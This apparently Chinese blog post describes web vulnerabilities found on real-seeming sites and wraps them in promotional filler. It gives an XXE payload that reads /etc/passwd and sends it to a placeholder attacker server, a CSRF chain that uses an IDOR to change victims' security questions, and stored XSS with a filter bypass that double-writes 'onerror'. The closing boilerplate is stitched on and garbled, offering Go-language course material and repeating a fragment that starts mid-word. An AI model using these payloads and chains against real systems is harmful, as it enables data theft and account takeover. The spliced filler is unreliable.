网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
成功调用外部实体
利用方式不用多说了吧,可以利用伪协议读取文件或系统命令执行
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % c "<!ENTITY % xxe SYSTEM 'http://你服务器IP/%file;'>">CSRF与逻辑漏洞的组合拳
登录上后修改密保(忘记密码时通过回答问题来修改密码)进行抓包
尝试用GET请求来代替POST请求,https://xxx/xxx?a=1&b=2&c=3&x=MTIzNA==
修改成功,说明后端可以接收GET请求,也就是说如果用户在登录的情况下点开了此链接密保就会被修改
但是有个致命的问题需要解决,像a=1这种明显是问题与答案,那么x=MTIzNA==是什么呢
MTIzNA==显然是base64编码后的结果,解码发现是1234,应该是用来进行身份验证的,不同用户的x值不同
幸好发现了一个页面存在水平越权漏洞,可以通过遍历x来获取用户信息
通过这种方式即可遍历所有用户的x值,也就说可以构造恶意链接了
再结合网站自己的邮件功能即可将恶意链接发送给指定用户,导致用户密码被改
经尝试修改成功,也就是说网站也没有验证Referer
登录处的存储型XSS
找到一个登录框,直接登录,看到一排按钮
个人 | 登录日志 | 设置 |
本次漏洞就出在这个登录日志上,点开它
IP | 时间 | 状态 |
x.x.x.x | 2022 | 成功 |
到这里就应该有思路了,页面显示了用户的IP,也就是存在交互点,那么我们就可以尝试将JS注入IP一栏
状态显然不止有"成功",肯定也有"失败",不然它就没有意义了,也就是说如果存在注入,我们无需登录即可将JS注入用户界面,进而在用户登录后造成攻击
现在的问题是,如何修改IP,也就是探究网站识别用户IP的方式是什么
简单试了一下添加XFF请求头,X-Forwarded-For:
先故意输入错误的密码,然后去掉XFF请求头正常登录
成功弹框,验证了漏洞存在,关掉弹框看一下,逗号左边就是JS代码了,只不过看不到
IP | 时间 | 状态 |
x.x.x.x | 2022 | 成功 |
,x.x.x.x | 2022 | 失败 |
x.x.x.x | 2022 | 成功 |
论坛的存储型XSS
先插一下试试
结果页面显示了
添加一个链接然后发表,并进行抓包
将href值修改为javascript:alert(1);
成功弹框,也就是说有些标签的<>不会被编码
再找一个绕过方式
添加一个图片然后发表,并进行抓包
修改为<img src=1 οnerrοr=“alert(1);”/>
结果并没有出现弹框,查看前端代码,onerror被替换为空了<img src=1 =“alert(1);”/>
尝试双写绕过onerroonerrorr,让中间的onerror被替换为空,最后保留一个onerror
成功弹框,可以领钱了
`黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上Go语言开发知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上Go语言开发知识点,真正体系化!**
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新